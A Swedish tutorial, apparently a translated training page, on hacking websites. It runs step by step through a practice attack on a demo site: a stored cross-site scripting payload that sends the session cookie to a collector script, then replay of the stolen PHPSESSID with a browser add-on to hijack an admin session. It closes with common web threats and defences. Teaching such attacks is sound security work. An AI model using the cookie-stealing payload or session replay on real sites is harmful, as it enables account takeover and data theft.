Hur hackar man en webbplats? Vanliga webbplatshackningstekniker

Tekniker fรถr hackning av webbplatser

Fler mรคnniskor har tillgรฅng till internet รคn nรฅgonsin tidigare. Detta har fรฅtt mรฅnga organisationer att utveckla webbaserade applikationer som anvรคndare kan anvรคnda online fรถr att interagera med organisationen. Dรฅligt skriven kod fรถr webbapplikationer kan utnyttjas fรถr att fรฅ obehรถrig รฅtkomst till kรคnslig data och webbservrar.

I den hรคr handledningen kommer du att lรคra dig hur du hackar webbplatser, och vi kommer att presentera dig fรถr tekniker fรถr hackning av webbapplikationer och motรฅtgรคrder du kan sรคtta pรฅ plats fรถr att skydda mot sรฅdana attacker.

Hur man hackar en webbplats

I detta praktiska scenario fรถr webbplatshackning kommer vi att kapa anvรคndarsessionen fรถr webbapplikationen som finns pรฅ www.techpanda.org. Vi kommer att anvรคnda cross site scripting fรถr att lรคsa cookie-sessions-id:t och sedan anvรคnda det fรถr att imitera en legitim anvรคndarsession.

Antagandet som gรถrs รคr att angriparen har tillgรฅng till webbapplikationen och han skulle vilja kapa sessioner fรถr andra anvรคndare som anvรคnder samma applikation. Mรฅlet med denna attack kan vara att fรฅ administratรถrsรฅtkomst till webbapplikationen fรถrutsatt att angriparens รฅtkomstkonto รคr begrรคnsat.

Steg 1) ร–ppna URL http://www.techpanda.org/.

Fรถr รถvningsรคndamรฅl rekommenderas det starkt att fรฅ รฅtkomst med SQL Injection. Hรคnvisa till detta Artikeln fรถr mer information om hur du gรถr det.

Steg 2) Ange inloggningsuppgifter.

Inloggningsmailen รคr admin@google.com, lรถsenordet รคr Password2010.

Steg 3) Kontrollera instrumentpanelen.

Om du har loggat in framgรฅngsrikt fรฅr du fรถljande instrumentpanel

Hacka en webbplats

Steg 4) Ange nytt innehรฅll.

Klicka pรฅ Lรคgg till ny kontakt och ange fรถljande som fรถrnamn

<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Dark</a>

Steg 5) Lรคgg till Javascript.

Ovanstรฅende kod anvรคnder JavaScript. Den lรคgger till en hyperlรคnk med en onclick-hรคndelse. Nรคr den intet ont anande anvรคndaren klickar pรฅ lรคnken hรคmtar hรคndelsen PHP cookie-sessions-ID och skickar det till snatch_sess_id.php sida tillsammans med sessions-id:t i URL:en

Hacka en webbplats

Steg 6) Lรคgg till detaljer.

Ange de รฅterstรฅende uppgifterna enligt nedan och klicka pรฅ Spara รคndringar

Hacka en webbplats

Steg 7) Kontrollera instrumentpanelen.

Din instrumentpanel kommer nu att se ut som fรถljande skรคrm

Hacka en webbplats

Steg 8) Kontrollera sessions-id.

  • Eftersom cross site script-koden lagras i databasen, kommer den att laddas varje gรฅng anvรคndarna med รฅtkomstrรคttigheter loggar in
  • Lรฅt oss anta att administratรถren loggar in och klickar pรฅ hyperlรคnken som sรคger Dark
  • Han/hon kommer att fรฅ fรถnstret med sessions-id:t som visas i URL:en
  • Hacka en webbplats

    Anmรคrkningar: Skriptet kan skicka vรคrdet till nรฅgon fjรคrrserver dรคr PHPSESSID lagras och sedan omdirigeras anvรคndaren tillbaka till webbplatsen som om ingenting hade hรคnt.

    Anmรคrkningar: vรคrdet du fรฅr kan skilja sig frรฅn det pรฅ den hรคr webbsidan hacka handledning, men konceptet รคr detsamma

    Sessionsidentifiering med hjรคlp av Firefox och Tamper Data-tillรคgget

    Flรถdesschemat nedan visar de steg som du mรฅste ta fรถr att slutfรถra den hรคr รถvningen.

    Sessionsidentifiering med hjรคlp av Firefox och Tamper Data-tillรคgget

    • Du behรถver Firefox webblรคsare fรถr detta avsnitt och tillรคgget Tamper Data
    • ร–ppet Firefox och installera tillรคgget som visas i diagrammen nedan

    Sessionsidentifiering med hjรคlp av Firefox och Tamper Data-tillรคgget

    Sessionsidentifiering med hjรคlp av Firefox och Tamper Data-tillรคgget

    • Sรถk efter manipuleringsdata och klicka sedan pรฅ installera som visas ovan

    Sessionsidentifiering med hjรคlp av Firefox och Tamper Data-tillรคgget

    • Klicka pรฅ Acceptera och installera...

    Sessionsidentifiering med hjรคlp av Firefox och Tamper Data-tillรคgget

    Sessionsidentifiering med hjรคlp av Firefox och Tamper Data-tillรคgget

    • Klicka pรฅ Starta om nu nรคr installationen รคr klar
    • Aktivera menyraden i Firefox om det inte visas

    Sessionsidentifiering med hjรคlp av Firefox och Tamper Data-tillรคgget

    • Klicka pรฅ verktygsmenyn och vรคlj sedan Tamper Data som visas nedan

    Sessionsidentifiering med hjรคlp av Firefox och Tamper Data-tillรคgget

    • Du fรฅr fรถljande fรถnster. Obs: Om Windows รคr inte tom, tryck pรฅ rensa-knappen

    Sessionsidentifiering med hjรคlp av Firefox och Tamper Data-tillรคgget

    • Klicka pรฅ menyn Starta sabotage
    • Vรคxla tillbaka till Firefox webblรคsare, typ http://www.techpanda.org/dashboard.php tryck sedan pรฅ enter-tangenten fรถr att ladda sidan
    • Du kommer att fรฅ fรถljande popup frรฅn Tamper Data

    Sessionsidentifiering med hjรคlp av Firefox och Tamper Data-tillรคgget

    • Popup-fรถnstret har tre (3) alternativ. Alternativet Tamper lรฅter dig รคndra HTTP-huvudinformationen innan den skickas till servern.
    • Klicka pรฅ det
    • Du kommer att fรฅ upp fรถljande fรถnster

    Sessionsidentifiering med hjรคlp av Firefox och Tamper Data-tillรคgget

    • kopiera PHP session ID du kopierade frรฅn attackens URL och klistrade in den efter likhetstecknet. Ditt vรคrde ska nu se ut sรฅ hรคr
    PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2
    • Klicka pรฅ OK-knappen
    • Du kommer att fรฅ upp popup-fรถnstret fรถr sabotagedata igen

    Sessionsidentifiering med hjรคlp av Firefox och Tamper Data-tillรคgget

    • Avmarkera kryssrutan som frรฅgar Fortsรคtt manipulera?
    • Klicka pรฅ Skicka-knappen nรคr du รคr klar
    • Du bรถr kunna se instrumentpanelen som visas nedan

    Sessionsidentifiering med hjรคlp av Firefox och Tamper Data-tillรคgget

    Anmรคrkningar: vi loggade inte in, vi efterliknade en inloggningssession med PHPSESSID-vรคrdet som vi hรคmtade med cross site scripting

    Vad รคr en webbapplikation? Vad รคr webbhot?

    En webbapplikation (alias webbplats) รคr en applikation baserad pรฅ klient-servermodellen. De server ger databasรฅtkomst och affรคrslogik. Den finns pรฅ en webbserver. Klientapplikationen kรถrs pรฅ klientens webblรคsare. Webbapplikationer รคr oftast skrivna pรฅ sprรฅk som t.ex Java, C# och VB.Net, PHP, ColdFusion Markup Language, etc. databasmotorerna som anvรคnds i webbapplikationer inkluderar MySQL, MS SQL Server, PostgreSQL, SQLiteEtc.

    Bรคsta hackningstekniker fรถr webbplatser

    De flesta webbapplikationer finns pรฅ offentliga servrar som รคr tillgรคngliga via Internet. Detta gรถr dem sรฅrbara fรถr attacker pรฅ grund av lรคttillgรคnglighet. Fรถljande รคr vanliga webbapplikationshot.

    • SQL Injection โ€“ Mรฅlet med detta hot kan vara att kringgรฅ inloggningsalgoritmer, sabotera data, etc.
    • Fรถrnekande av serviceangreppโ€“ Mรฅlet med detta hot kan vara att neka legitima anvรคndare tillgรฅng till resursen
    • Cross Site Scripting XSSโ€“ Mรฅlet med detta hot kan vara att injicera kod som kan kรถras pรฅ klientsidans webblรคsare.
    • Cookie/sessionsfรถrgiftningโ€“ Mรฅlet med detta hot รคr att modifiera cookies/sessionsdata av en angripare fรถr att fรฅ obehรถrig รฅtkomst.
    • Formmanipulering โ€“ Mรฅlet med detta hot รคr att modifiera formulรคrdata sรฅsom priser i e-handelsapplikationer sรฅ att angriparen kan fรฅ varor till reducerade priser.
    • Code Injektion โ€“ Mรฅlet med detta hot รคr att injicera kod som PHP, Python, etc. som kan kรถras pรฅ servern. Koden kan installera bakdรถrrar, avslรถja kรคnslig information, etc.
    • fรถrvanskningโ€“ Mรฅlet med detta hot รคr att รคndra sidan som visats pรฅ en webbplats och omdirigera alla sidfรถrfrรฅgningar till en enda sida som innehรฅller angriparens meddelande.

    Hur skyddar du din webbplats mot hacks?

    En organisation kan anta fรถljande policy fรถr att skydda sig mot webbserverattacker.

    • SQL Injection โ€“ sanering och validering av anvรคndarparametrar innan de skickas till databasen fรถr bearbetning kan bidra till att minska risken fรถr att bli attackerad via SQL Injection. Databasmotorer som MS SQL Server, MySQL, etc. stรถdparametrar och fรถrberedda uttalanden. De รคr mycket sรคkrare รคn traditionella SQL-satser
    • Denial of Service-attacker โ€“ brandvรคggar kan anvรคndas fรถr att slรคppa trafik frรฅn en misstรคnkt IP-adress om attacken รคr en enkel DoS. Korrekt konfiguration av nรคtverk och intrรฅngsdetektionssystem kan ocksรฅ bidra till att minska risken fรถr en DoS attack varit framgรฅngsrik.
    • Cross Site Scripting โ€“ validering och sanering av rubriker, parametrar som skickas via URL:en, formulรคrparametrar och dolda vรคrden kan hjรคlpa till att minska XSS-attacker.
    • Cookie/sessionsfรถrgiftning โ€“ detta kan fรถrhindras genom att kryptera innehรฅllet i cookies, tidsgrรคns fรถr cookies efter en tid, associera cookies med klientens IP-adress som anvรคndes fรถr att skapa dem.
    • Formhรคrdning โ€“ detta kan fรถrhindras genom att validera och verifiera anvรคndarinmatningen innan den bearbetas.
    • Code Injektion โ€“ detta kan fรถrhindras genom att behandla alla parametrar som data snarare รคn kรถrbar kod. Sanering och validering kan anvรคndas fรถr att implementera detta.
    • Fรถrnedring โ€“ en bra sรคkerhetspolicy fรถr webbapplikationsutveckling bรถr sรคkerstรคlla att den fรถrseglar vanliga sรฅrbarheter fรถr att komma รฅt webbservernDetta kan vara en korrekt konfiguration av operativsystemet, webbserverprogramvaran och bรคsta sรคkerhetsrutiner vid utvecklingping webbapplikationer.
    Kontrollera detta: 9 bรคsta URL-skannrar fรถr att kontrollera lรคnken รคr sรคkra frรฅn skadlig programvara

    Sammanfattning

    • En webbapplikation รคr baserad pรฅ server-klient-modellen. Klientsidan anvรคnder webblรคsaren fรถr att komma รฅt resurserna pรฅ servern.
    • Webbapplikationer รคr vanligtvis tillgรคngliga รถver internet. Detta gรถr dem sรฅrbara fรถr attacker.
    • Hot mot webbapplikationer inkluderar SQL-injektion, Code Injektion, XSS, Defacement, Cookie Poisoning, etc.
    • En bra sรคkerhetspolicy vid utvecklingping webbapplikationer kan bidra till att gรถra dem sรคkra.

    Sammanfatta detta inlรคgg med: